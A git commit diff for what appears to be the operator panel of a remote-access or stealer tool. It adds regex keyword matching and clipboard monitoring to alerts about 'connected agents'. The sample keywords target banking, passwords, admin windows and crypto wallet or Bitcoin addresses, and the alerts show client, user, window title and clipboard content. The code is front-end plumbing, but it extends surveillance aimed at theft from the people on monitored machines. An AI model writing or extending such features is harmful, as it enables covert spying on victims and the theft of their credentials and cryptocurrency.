add regex support and clipboard support to notification center

This commit is contained in:
KingKDot
2026-03-18 23:46:44 -05:00
parent a73707c930
commit 6c7a71533c
15 changed files with 295 additions and 31 deletions
+14 -1
View File
@@ -15,6 +15,7 @@ const notificationScopeHint = document.getElementById("notification-scope-hint")
// Keyword section
const keywordSection = document.getElementById("keyword-section");
const keywordInput = document.getElementById("keyword-input");
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
const saveKeywordsBtn = document.getElementById("save-keywords");
const keywordHint = document.getElementById("keyword-hint");
@@ -176,6 +177,10 @@ function wireToggle(inputEl, btnEl) {
// ── Notification table row ────────────────────────────────────────────────────
function renderRow(item, prepend = true) {
if (!listEl) return;
const isClipboard = item.category === "clipboard";
const sourceBadge = isClipboard
? `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-violet-900/60 text-violet-300 border border-violet-700/50"><i class="fa-solid fa-clipboard text-xs"></i> clipboard</span>`
: `<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs bg-blue-900/60 text-blue-300 border border-blue-700/50"><i class="fa-solid fa-desktop text-xs"></i> window</span>`;
const row = document.createElement("tr");
row.className = "border-t border-slate-800/60";
row.innerHTML = `
@@ -185,6 +190,7 @@ function renderRow(item, prepend = true) {
<td class="py-2 pr-4 max-w-xl truncate" title="${escapeHtml(item.title || "")}">${escapeHtml(item.title || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.process || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${escapeHtml(item.keyword || "-")}</td>
<td class="py-2 pr-4 whitespace-nowrap">${sourceBadge}</td>
<td class="py-2 pr-4"><div class="preview-slot"></div></td>
`;
@@ -283,6 +289,9 @@ async function loadKeywords() {
const keywords = data?.notifications?.keywords || [];
keywordInput.value = keywords.join("\n");
renderKeywordHint(keywords.length);
if (clipboardEnabledInput) {
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
}
} catch {}
}
@@ -290,11 +299,12 @@ function wireKeywordSave() {
if (!saveKeywordsBtn || !keywordInput) return;
saveKeywordsBtn.addEventListener("click", async () => {
const keywords = parseKeywords(keywordInput.value);
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
try {
const res = await fetch("/api/notifications/config", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ keywords }),
body: JSON.stringify({ keywords, clipboardEnabled }),
});
if (!res.ok) {
window.showToast?.("Failed to save keywords", "error", 4000);
@@ -304,6 +314,9 @@ function wireKeywordSave() {
const updated = data?.notifications?.keywords || keywords;
keywordInput.value = updated.join("\n");
renderKeywordHint(updated.length);
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
}
window.showToast?.("Keywords updated", "success", 3000);
} catch {
window.showToast?.("Failed to save keywords", "error", 4000);
+9 -4
View File
@@ -35,7 +35,7 @@
<div>
<h1 class="text-2xl font-semibold">Notifications</h1>
<p class="text-slate-400">
Active window alerts based on configured title keywords
Active window &amp; clipboard alerts based on configured keyword patterns
</p>
</div>
<div class="flex flex-wrap items-center gap-3">
@@ -55,7 +55,7 @@
<div>
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
<p class="text-sm text-slate-400">
One keyword per line. Changes apply to connected agents immediately. (Shared global setting)
One keyword per line — plain substring or <code class="text-slate-300">/regex/i</code> syntax. Changes apply to connected agents immediately. (Shared global setting)
</p>
</div>
<button
@@ -69,9 +69,13 @@
<textarea
id="keyword-input"
rows="5"
placeholder="bank&#10;password&#10;admin"
placeholder="bank&#10;password&#10;admin&#10;/crypto|wallet/i&#10;/\b(bc1[a-z0-9]{39,59}|[13][a-km-zA-HJ-NP-Z1-9]{24,33})\b/"
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
></textarea>
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
<input id="clipboard-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
Monitor clipboard content for keyword matches
</label>
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
</div>
@@ -267,9 +271,10 @@
<th class="py-2 pr-4">Time</th>
<th class="py-2 pr-4">Client</th>
<th class="py-2 pr-4">User</th>
<th class="py-2 pr-4">Window Title</th>
<th class="py-2 pr-4">Title / Content</th>
<th class="py-2 pr-4">Process</th>
<th class="py-2 pr-4">Keyword</th>
<th class="py-2 pr-4">Source</th>
<th class="py-2 pr-4">Preview</th>
</tr>
</thead>